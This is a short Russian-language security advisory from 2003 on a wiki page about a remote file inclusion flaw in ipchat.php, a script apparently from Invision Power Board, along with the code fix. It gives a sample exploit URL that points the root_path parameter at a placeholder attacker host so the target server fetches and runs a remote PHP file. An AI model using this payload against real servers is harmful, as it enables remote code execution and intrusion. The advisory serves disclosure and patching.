[04.03.2003] CSS в ipchat.php

Удаленный пользователь может выполнить произвольный PHP код и команды операционной системы на уязвимом сервере. Опасно только при настроках PHP с register_globals=ON.

Сценарий 'ipchat.php' включает файл conf_global.php через переменную $root_path, но не проверяет правильность местоположения файла.

Удаленный пользователь может определить удаленное местоположение для $root_path переменной, чтобы включить удаленно расположенный файл conf_global.php, который будет выполнен на целевом сервере.

Пример/Эксплоит:

http://[target]/ipchat.php?root_path=http://[attacker]/
c файлом :
http://[attacker]/conf_global.php

Исправление:

В ipchat.php найти:

require $root_path."conf_global.php";

Заменить на:

define( 'ROOT_PATH'  , "./" );
require ROOT_PATH."conf_global.php";
 

secutiry/issues/critical/1.x.x/04.03.2003.txt · Последние изменения: 2007/08/14 12:01 (внешнее изменение)

Работает на DokuWiki
© 2002—2006 ibresource
e-mail: wikiteam@iblink.ru